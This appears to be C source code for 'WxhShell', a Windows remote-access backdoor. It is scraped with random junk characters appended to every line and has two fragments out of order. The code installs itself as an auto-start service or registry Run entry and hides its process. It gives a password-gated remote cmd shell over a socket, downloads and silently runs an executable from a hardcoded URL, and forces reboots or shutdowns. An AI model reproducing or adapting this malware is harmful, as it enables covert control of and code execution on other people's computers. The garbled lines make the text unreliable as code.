    else { 1/:WA:]1 ,  
    closesocket(wsh); ozy~`$;c  
    ExitThread(0); &A)AV<=>T  
    } Bq3"l%hI  
    break; O4dJ> O  
    } f .-b.nNf  
  // 获取shell UJ* D  
  case 's': { qwM71B!r  
    CmdShell(wsh); ZxF RE#y~2  
    closesocket(wsh); 2+ m%f"  
    ExitThread(0); B>hf|.GI  
    break; 50q(8F-N  
  } rozp  
  // 退出 m-Z<zEQ  
  case 'x': { 4i|yEf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LVP2jTz  
    CloseIt(wsh); 4+"2K-]   
    break; wc`UcGO  
    } nLicog)!I  
  // 离开 F!(Vg  
  case 'q': { R OsR;C0!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I7,5ID4pn  
    closesocket(wsh); F,5~a_GP?  
    WSACleanup(); 3}~.#`QeY  
    exit(1); wr I66R}@  
    break; uj;tmK>;  
        } cBZ$$$v\#  
  } pY]T3 2  
  } Mtq\xF,/+  
1k"<T7K  
  // 提示信息 |qTvy,U[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A:! _ &  
} 3Z/_}5%"  
  } Pfi|RTX$'*  
+L(|?|i8  
  return; $FXlH;_7  
} .Nt;J,U  
DXA<m2&64N  
// shell模块句柄 D y+)s-8  
int CmdShell(SOCKET sock) n<q1itjD  
{ d^h`gu~3  
STARTUPINFO si; y``[CBj  
ZeroMemory(&si,sizeof(si)); f3PDLQA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bl[4[N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  /5M0[C E  
PROCESS_INFORMATION ProcessInfo; %  ]G'u  
char cmdline[]="cmd"; 7W[+e&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mk.1jx ?l  
  return 0; Hw29V //  
} v *icoj  
O?,Grn%'.  
// 自身启动模式 Pa)'xfQ$Y6  
int StartFromService(void) o0ky]9 P  
{ 5?l8;xe`{f  
typedef struct x Zp`  
{ gi {rqM  
  DWORD ExitStatus; %vn"tp  
  DWORD PebBaseAddress; KEfN!6  
  DWORD AffinityMask; Uzh#z eZ`<  
  DWORD BasePriority; Z;/QB6|%  
  ULONG UniqueProcessId; Y]!WPJ`f2  
  ULONG InheritedFromUniqueProcessId; zD^*->`p  
}   PROCESS_BASIC_INFORMATION; Aq 5CF`e{  
R ?62g H  
PROCNTQSIP NtQueryInformationProcess; {:;6 *W  
c o 8bnH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (fNG51h!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;*(i}'  
@=<B8VPJd  
  HANDLE             hProcess; fM/~k>wl  
  PROCESS_BASIC_INFORMATION pbi; L0\~ K~q  
xqSoE[<v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,F%2'W  
  if(NULL == hInst ) return 0; S$N!Dj@e;  
Fv_B(a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !}lCwV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )B*D\9\Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q6PaT@gs  
je;C}4  
  if (!NtQueryInformationProcess) return 0; Uc%kyTBm1  
)WNw0cV}J>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M "\Iw'5$  
  if(!hProcess) return 0; {"PIS&]tR  
3s\}|LqX#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;SgPF:T>Q  
t1`.M$  
  CloseHandle(hProcess); 'nIKkQ" N  
3-/F]}0y6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H|)F-aL[  
if(hProcess==NULL) return 0; pJdR`A-k|  
J5!-<oJ/  
HMODULE hMod; 8AVtUU  
char procName[255]; -bd'sv  
unsigned long cbNeeded; 3d`u!i?/  
b9;w3Ba  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ni$;"R GC  
"|Gr3sD  
  CloseHandle(hProcess); Np"~1z.(b  
A('o &H  
if(strstr(procName,"services")) return 1; // 以服务启动 ;,lFocGv  
Y{d-k1?s5  
  return 0; // 注册表启动 J ?0P{{  
} tdsfCvF= a  
?zuKVi? I  
// 主模块 sTS/ ]"l  
int StartWxhshell(LPSTR lpCmdLine) D_q"|D$SB  
{ ~2;\)/E\  
  SOCKET wsl; ^ItL_ 4  
BOOL val=TRUE; LzTdi%u$0|  
  int port=0; Hp>_:2O8s  
  struct sockaddr_in door; -K (>uV!?  
<KX fh  
  if(wscfg.ws_autoins) Install(); }U'VVPh _  
OF}."a  
port=atoi(lpCmdLine); }  fa  
p%R+c  
if(port<=0) port=wscfg.ws_port; +'/C(5y)0X  
~ <36vsk  
  WSADATA data; I@oSRB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WF_ v>g:g  
gNJdP!(t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   11vAx9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EQtYb"_  
  door.sin_family = AF_INET; 5?Ukf$)x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a9u2Wlz  
  door.sin_port = htons(port);  RnSll-  
bkuJN%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bU\T  
closesocket(wsl); I~GHx5Dk  
return 1; )(9[>_+40  
} Ft^X[5G4L  
Jcy+(7lE)  
  if(listen(wsl,2) == INVALID_SOCKET) {  p9 G{Q  
closesocket(wsl); 7|xu)zYB  
return 1; WMa`! Q  
} Y P,>vzW  
  Wxhshell(wsl); 6e S~*  
  WSACleanup(); LJ6L#es2  
~/qBOeU3  
return 0; ]N2! 'c  
D*>#]0X  
} QHxof7  
H$V`,=H  
// 以NT服务方式启动 \.'[!GE*c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1Va=.#<  
{ F9"Xu-g  
DWORD   status = 0; Z~w2m6;s  
  DWORD   specificError = 0xfffffff; O!t=,F1j  
Ih N^*P:Fo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lMl'+ yy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zGdYk-H3TH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /'/i?9:  
  serviceStatus.dwWin32ExitCode     = 0; 4jc?9(y%  
  serviceStatus.dwServiceSpecificExitCode = 0; vjzG H*  
  serviceStatus.dwCheckPoint       = 0; D |=L)\  
  serviceStatus.dwWaitHint       = 0; UhJ{MUH`  
AhkDLm+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yDJy'Z_F{  
  if (hServiceStatusHandle==0) return; Gr>CdB>~+  
)FSEHQ  
status = GetLastError(); 2OpkRFFa  
  if (status!=NO_ERROR) +|x{?%.O  
{ G`;\"9t5h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m[z $y  
    serviceStatus.dwCheckPoint       = 0; (I`lv=R"j  
    serviceStatus.dwWaitHint       = 0; `v-O 4Pk  
    serviceStatus.dwWin32ExitCode     = status; *\@RBJGF  
    serviceStatus.dwServiceSpecificExitCode = specificError; JVGTmS[3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Yo|Pj  
    return; FJ^\K+;  
  } +f%"O?  
lMH~J8U3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *$5p,m6G  
  serviceStatus.dwCheckPoint       = 0; /+*N.D'`t,  
  serviceStatus.dwWaitHint       = 0; r\cY R}v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Z }<H/q  
} t(dVd%   
R={#V8D~  
// 处理NT服务事件,比如:启动、停止 |Y8}*C\M.h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AusjN-IL  
{ N:CQ$7T{ j  
switch(fdwControl) *dxm|F98  
{ [?hvx}  
case SERVICE_CONTROL_STOP: BY&{fWUo  
  serviceStatus.dwWin32ExitCode = 0; cly}[<w!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7#W]Qj  
  serviceStatus.dwCheckPoint   = 0; ~o/k?l  
  serviceStatus.dwWaitHint     = 0; Faa>bc~E  
  { {6WG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q 7 <d|s  
  } OR*JWW[]  
  return; 3HBh 3p5  
case SERVICE_CONTROL_PAUSE: t|V<K^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &AOGg\  
  break; :8]8[  
case SERVICE_CONTROL_CONTINUE: }*U|^$FEU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YU"/p|!1  
  break; I 44]W&  
case SERVICE_CONTROL_INTERROGATE: i]N<xcF9N*  
  break; w@&z0ODJ  
}; E p;i],}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gL-kI *Ra  
} wP*3Hx;S  
o&&`_"18  
// 标准应用程序主函数 Kc95yt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7y&6q`y E  
{ Jfk#E^1  
NJ+$3n om  
// 获取操作系统版本 vy}_aD{B  
OsIsNt=GetOsVer(); 4I$Y"|_e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jpO0dtn3=  
KS<@;Tt  
  // 从命令行安装 :V5 Co!/+  
  if(strpbrk(lpCmdLine,"iI")) Install(); BWQ`8  
SMIDW}U2S  
  // 下载执行文件 m[^ )Q9o}  
if(wscfg.ws_downexe) { .d}yQ#5z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4sntSlz)~k  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2$kB^g!:o  
} bhGRD{=  
_/z_ X  
if(!OsIsNt) { :IBP "  
// 如果时win9x,隐藏进程并且设置为注册表启动 _@y uaMoW=  
HideProc(); Z$g'h1,zW  
StartWxhshell(lpCmdLine); vanV|O  
} [5p3:D  
else u<uc"KY=  
  if(StartFromService()) !L8q]]'XM  
  // 以服务方式启动 Sir1>YEm  
  StartServiceCtrlDispatcher(DispatchTable); k2$pcR,WM  
else fkp(M  
  // 普通方式启动 QNINn>2  
  StartWxhshell(lpCmdLine); ['Lo8 [  
#^r-D[/m  
return 0; #h^nvRmON  
} 0 K#|11r  
C3Q #[  
?gU raSFU  
87[ ,.W  
=========================================== G![d_F" e  
Y,v9o  
B)[RIs  
T0")Ryu  
@wa"pWx8  
!L{mE&  
" >;1w-n  
pP1DR'  
#include <stdio.h> HEbL'fw^s  
#include <string.h> >!@D^3PPA  
#include <windows.h> p<H_]|7$7U  
#include <winsock2.h> 2,q*8=?{6P  
#include <winsvc.h> oA[`| ji  
#include <urlmon.h> :0Jn`Ds4o  
gk6R#  
#pragma comment (lib, "Ws2_32.lib") X4 S| JT  
#pragma comment (lib, "urlmon.lib") \Db;7wh  
[n| }>  
#define MAX_USER   100 // 最大客户端连接数 lY"l6.c  
#define BUF_SOCK   200 // sock buffer U`=r .>  
#define KEY_BUFF   255 // 输入 buffer $3l#eKZA  
.z_nW1id  
#define REBOOT     0   // 重启 Z2m^yRQ(  
#define SHUTDOWN   1   // 关机 U5N|2  
:AFW=e@<  
#define DEF_PORT   5000 // 监听端口 k^8;3#xG  
C_/eNu\I  
#define REG_LEN     16   // 注册表键长度 r<1W.xd":  
#define SVC_LEN     80   // NT服务名长度 #*.4Jv<R  
+58^{_k+%  
// 从dll定义API .<>t2,Af  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;"Qq/ knVL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _g/d/{-{Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >*gf1"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SF*mY=1  
}v2p]D5n.  
// wxhshell配置信息 YT oG'#qs  
struct WSCFG { d*Su c  
  int ws_port;         // 监听端口 /nA>ox78  
  char ws_passstr[REG_LEN]; // 口令 F/lL1nTdK  
  int ws_autoins;       // 安装标记, 1=yes 0=no CHv n8tk  
  char ws_regname[REG_LEN]; // 注册表键名 FT~c|ep.  
  char ws_svcname[REG_LEN]; // 服务名 {$[0YRNk u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .wd7^wI^S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %A~. NNbS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  2=;ZJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hfLe<,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sj&(O@~R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r+[g.`  
K/C}  
}; okRt^qe  
uKXU.u*C  
// default Wxhshell configuration ~s4JGV~R  
struct WSCFG wscfg={DEF_PORT,  EH2):  
    "xuhuanlingzhe", lshSRir  
    1, ym6Emf]  
    "Wxhshell", sq#C|v/  
    "Wxhshell", U:$z lfV  
            "WxhShell Service", U&B(uk(2  
    "Wrsky Windows CmdShell Service", )E=B;.FH  
    "Please Input Your Password: ", ,/Gp>Yqx  
  1, {@7UfJh>  
  "http://www.wrsky.com/wxhshell.exe", ^Ff fc@=  
  "Wxhshell.exe" |>U<EtA"  
    }; ;:[P/eg  
{`2 0'  
// 消息定义模块 U= n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q$.CtECo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E{JTy{z-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M^ WoV }'  
char *msg_ws_ext="\n\rExit."; 8i`T?KB  
char *msg_ws_end="\n\rQuit."; :%mls Nw  
char *msg_ws_boot="\n\rReboot..."; 7YTO{E6]d\  
char *msg_ws_poff="\n\rShutdown..."; TTj] _R{n  
char *msg_ws_down="\n\rSave to "; Q_,!(N  
: c iwh  
char *msg_ws_err="\n\rErr!"; -M]/Xv]  
char *msg_ws_ok="\n\rOK!"; iWW!'u$+I`  
u SZfim@Z7  
char ExeFile[MAX_PATH]; ZU B]qzmK  
int nUser = 0; ?UflK  
HANDLE handles[MAX_USER]; E.:eO??g  
int OsIsNt; w].DLoz  
kp[&SKU c  
SERVICE_STATUS       serviceStatus; 7]L}~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NPBOG1q%  
',FVT4OMw  
// 函数声明 SP2";,%/9  
int Install(void); ;+f(1=x  
int Uninstall(void); j/uMSE  
int DownloadFile(char *sURL, SOCKET wsh); epk C '  
int Boot(int flag); : LX!T&  
void HideProc(void); o%]b\Vl6  
int GetOsVer(void); j y p.2c  
int Wxhshell(SOCKET wsl); DP*V|)  
void TalkWithClient(void *cs); Sb?v5  
int CmdShell(SOCKET sock); T^|6{ S\  
int StartFromService(void); iuEe#B;!  
int StartWxhshell(LPSTR lpCmdLine); PB8U+  
E(S$Q^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Oj!J&A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;2BPEo>z9  
P&o+ut:  
// 数据结构和表定义 @d3yqA  
SERVICE_TABLE_ENTRY DispatchTable[] = 25xt*30M  
{ #CeWk$)m  
{wscfg.ws_svcname, NTServiceMain}, REJBm  
{NULL, NULL} }236{)DuN  
}; >> -{AR0  
`o+J/nc  
// 自我安装 [F *hjGLc}  
int Install(void) %tkL<e  
{ gY-}!9kW]  
  char svExeFile[MAX_PATH]; JKYl  
  HKEY key; R^ I4_ZA  
  strcpy(svExeFile,ExeFile); ]Ah<kq2sk  
zBrqh9%8e  
// 如果是win9x系统,修改注册表设为自启动 i"!j:YEo  
if(!OsIsNt) { LGRhCOP:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G @L `[Wu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'OYnLz`"6  
  RegCloseKey(key); , YE+k`:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^jo*e,y:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a! x?Apww  
  RegCloseKey(key); :,^x?'HK  
  return 0; Rwmr[g  
    } w01\KV  
  } :(jovse\  
} FO|Eg9l  
else { hdH-VR4  
d{'u97GDc  
// 如果是NT以上系统,安装为系统服务 '! ;Xxe5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5Obv/C  
if (schSCManager!=0) \xZ6+xZd1  
{ t_X=x`f  
  SC_HANDLE schService = CreateService F,GG>(6c  
  ( NydoX9  
  schSCManager, NzID [8`  
  wscfg.ws_svcname, zZCssn;[  
  wscfg.ws_svcdisp, ? O e,  
  SERVICE_ALL_ACCESS, t+WUz#i"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wAF#N1-k  
  SERVICE_AUTO_START, r$d'[ZcX  
  SERVICE_ERROR_NORMAL, 6CWm;%B#G  
  svExeFile, {1wjIo"ptg  
  NULL, @JD!.3  
  NULL, 7bam`)n  
  NULL, %Zu+=I Z  
  NULL, /@s(8{;  
  NULL Q S.w#"X[  
  ); Z2\Xe~{  
  if (schService!=0) iJ`v3PP  
  { llBW*4'  
  CloseServiceHandle(schService); 24_/JDz  
  CloseServiceHandle(schSCManager); >R6>*|~S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?)c9!hR  
  strcat(svExeFile,wscfg.ws_svcname); /kd6Yq(y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ud,_^Ul  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0R?LWm j  
  RegCloseKey(key); ,#=;V"~9  
  return 0; 2`/p V0  
    } nR$Q~`  
  } 5./(n7d_  
  CloseServiceHandle(schSCManager); Nj4^G ~_  
} PHn3f;I  
} G`R2=bb8  
AqP7UL  
return 1; XbAoW\D(  
} _"";SqVB  
IY9##&c3>  
// 自我卸载 Jp`qE  
int Uninstall(void) ulnlRx  
{ P EAo'63$  
  HKEY key; v4x1=E  
yB^_dE  
if(!OsIsNt) { c3aF lxW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K0?:?>*b#  
  RegDeleteValue(key,wscfg.ws_regname); > 1&_-  
  RegCloseKey(key); _NJq%-,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { olf7L%  
  RegDeleteValue(key,wscfg.ws_regname); wTY8={p]  
  RegCloseKey(key); Z\M8DZW8Y  
  return 0; 7q _.@J  
  } l+8G6?@]>  
} !@-g9z  
} KF`@o@,  
else { 8klu*  
)y}W=Q>T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4~/3MG  
if (schSCManager!=0) T]Eg9Y:+v  
{ Tj*Vk $}0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); onAC;<w  
  if (schService!=0) ;7 Y4 v`m  
  { dg]: JU  
  if(DeleteService(schService)!=0) { rYMHc@a9(  
  CloseServiceHandle(schService); +gOv5Eno-  
  CloseServiceHandle(schSCManager); :CAbGs:56  
  return 0; ep2#a#&'  
  } 7$* O+bkn:  
  CloseServiceHandle(schService); <jvSV5%  
  } P 6|\ ^  
  CloseServiceHandle(schSCManager); ENi@R\ p  
} &ahZ_9Q  
} ${F] N }  
/!Ng"^.e  
return 1; %7~~*_G  
} H#;-(`F  
1tQl^>r16  
// 从指定url下载文件 u`vOKajpH$  
int DownloadFile(char *sURL, SOCKET wsh) IZkQmA=  
{ ^/kn#1H7&  
  HRESULT hr; qj5V<c;h%W  
char seps[]= "/"; +MfdZD  
char *token; Sc zYL?w^  
char *file; _*O^|QbM  
char myURL[MAX_PATH]; .UuCTH;6`  
char myFILE[MAX_PATH]; u/BCl!`  
,!s;o6|*y  
strcpy(myURL,sURL); \We\*7^E  
  token=strtok(myURL,seps); 8 3wa{m:  
  while(token!=NULL) ]%PQ3MT.  
  { (E*eq-8  
    file=token; 4j'cXxo  
  token=strtok(NULL,seps); $*`=sV!r  
  } #JH#Qg  
}qf)L .  
GetCurrentDirectory(MAX_PATH,myFILE); |h; _r&  
strcat(myFILE, "\\"); u!As?AD.  
strcat(myFILE, file); D^knN-nZ*  
  send(wsh,myFILE,strlen(myFILE),0); g= ql 3N  
send(wsh,"...",3,0); ./009p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {\Eqo4A5}  
  if(hr==S_OK) bI,gNVN=  
return 0; B9RB/vHH  
else -&u2C}4s  
return 1; &K_"5.7-56  
y[s* %yP3l  
} 8)D5loS  
Ck|3DiRQ  
// 系统电源模块 !kl9X-IiI  
int Boot(int flag) XJ|CC.]1u  
{ jQp7TdvLE$  
  HANDLE hToken; =~i~SG/f  
  TOKEN_PRIVILEGES tkp; _^<HlfOK  
y-TS?5Dr]  
  if(OsIsNt) { L`$MOdF{_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^nYS @  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ",c(cYVW  
    tkp.PrivilegeCount = 1; cboue LEt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H\\0V.}!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $vC!Us{z  
if(flag==REBOOT) { hDp -,ag{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JwNG`M Gc  
  return 0; K>2mm!{  
} _Kp{b"G  
else { Ccw6,2`&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s 9,?"\0Zm  
  return 0; @"9^U_Qf1z  
} Efm37Kv5l  
  } Q3M;'m  
  else { "0F =txduS  
if(flag==REBOOT) { }2^_Gaj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OA\2ja~+  
  return 0; $DmWK_A  
} <Q06<{]R8  
else { (=d%Bn$6b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <m"yPi3TY  
  return 0; MZGN,[~)6  
} {CM%QMM  
} I@l' Fx  
$q]:m+Fm  
return 1; ?- 5{XrNm  
} T>l=0a #  
W 2VH?-Gw  
// win9x进程隐藏模块 xr uQ=Q  
void HideProc(void) tK3.HvD  
{ S{7*uK3$  
N#-P}\Q9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  PK#; \Zw  
  if ( hKernel != NULL ) _7(>0GY  
  { aHosu=NK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N5$L),?\y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?u/Uov@rD  
    FreeLibrary(hKernel); fKzOt<wm  
  } G2]/g  
X6jW mo8]  
return; .]+oE$,!  
} Y%v?ROql  
 `)`J  
// 获取操作系统版本 d`D<PT(\  
int GetOsVer(void) )GDP?Nc<Ik  
{ lE~5 b  
  OSVERSIONINFO winfo; b[<zT[.:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); | I_,;c  
  GetVersionEx(&winfo); <KF|QE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (|_1ku3!  
  return 1; #?)g?u%g=  
  else SomA`y+ERn  
  return 0; F V8K_xj  
} M),i4a?2  
wu5]S)?*  
// 客户端句柄模块 Pa%;[hbn  
int Wxhshell(SOCKET wsl) &?m|PK)I  
{ 9NTBdo%u  
  SOCKET wsh; COe"te  
  struct sockaddr_in client; C%ibIcm y  
  DWORD myID; HS"E3s8  
d'~ kf#  
  while(nUser<MAX_USER) 0z@ KkU{Z  
{ a %"mgCB  
  int nSize=sizeof(client); '!*,JG5_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .lVC>UT  
  if(wsh==INVALID_SOCKET) return 1; jM8e2z3  
zKr\S |yE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hi$J@xU  
if(handles[nUser]==0) T/DKT1P-  
  closesocket(wsh); A`Vz5WB  
else 8OoKP4,;  
  nUser++; `mTpL^f  
  } xSFY8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VG*Tdaua~  
C~PrIM?  
  return 0; lf4V; |!^  
} 4,CQJ  
w] b3,b  
// 关闭 socket ~1&%,$fZ  
void CloseIt(SOCKET wsh) P?GHcq$\  
{ {&,9Zy]"S  
closesocket(wsh); B#RwW,  
nUser--; j(4BMk  
ExitThread(0); " N)dle,  
} *oAv:8"iY  
P;o6rQf  
// 客户端请求句柄 %~`8F\Hiu  
void TalkWithClient(void *cs) D_oGhQYY4  
{ t sdkpt  
cd1M0z  
  SOCKET wsh=(SOCKET)cs; C8qA+dri  
  char pwd[SVC_LEN]; 4.|-?qG  
  char cmd[KEY_BUFF]; j4j %r(  
char chr[1]; w5 nzS)B:u  
int i,j; MP/6AAt7=|  
T#'+w@Q9{9  
  while (nUser < MAX_USER) { \ IJ\  
u_[^gS7  
if(wscfg.ws_passstr) { /QDlm>FM4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5$o]D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s@^ (1g[w`  
  //ZeroMemory(pwd,KEY_BUFF); f/t1@d!  
      i=0; [)V&$~xW  
  while(i<SVC_LEN) { qdoJIP{  
d;` bX+K  
  // 设置超时 InDISl]  
  fd_set FdRead; =Nn&$h l  
  struct timeval TimeOut; t(69gF\"  
  FD_ZERO(&FdRead); <Cc}MDM604  
  FD_SET(wsh,&FdRead); @vWf-\  
  TimeOut.tv_sec=8; fC>3{@h}*  
  TimeOut.tv_usec=0; VT1Nd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J(+I`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LB}y,-vX>  
'<" eG!O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #g,JNJ}  
  pwd=chr[0]; `6:;*#jO,  
  if(chr[0]==0xd || chr[0]==0xa) { FSZQ2*n5  
  pwd=0; 8s6~l.v  
  break; r8\"'4B1  
  } `9QvokD  
  i++; ad^7t<a}<  
    } \a]JH\T)Q  
"YbvI@pD  
  // 如果是非法用户,关闭 socket gJn|G#!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s)Bmi  
} '`g#Zo  
=ML6"jr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?n o.hf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K)5'Jp@  
4naL2 Y!  
while(1) { ({=: N  
['%]tWT9  
  ZeroMemory(cmd,KEY_BUFF); LX{[9   
X2b<_j3  
      // 自动支持客户端 telnet标准   A<ca9g3  
  j=0; 6.? Ke8iC  
  while(j<KEY_BUFF) { dKyJ.p   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MONfA;64/  
  cmd[j]=chr[0]; 4%wP}Zj#  
  if(chr[0]==0xa || chr[0]==0xd) { b e[KNrO  
  cmd[j]=0; ~_C[~-  
  break; S#+Dfa`8X  
  } O>e2MT|#k  
  j++; e(7F| G*  
    } p%) 1(R8qM  
rj zRZ  
  // 下载文件 GKf,1kns  
  if(strstr(cmd,"http://")) { RRh0G>*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 69{^Vfd;Y  
  if(DownloadFile(cmd,wsh)) 1U[8OM{$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.nq,  
  else +*"u(7AV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .6Jo1$+  
  } j'Ry.8}  
  else { SP][xdN7  
UFnz3vc  
    switch(cmd[0]) { Hts.G~~8  
  ,$irJz F  
  // 帮助 rlSar$  
  case '?': { JR/:XYS+  
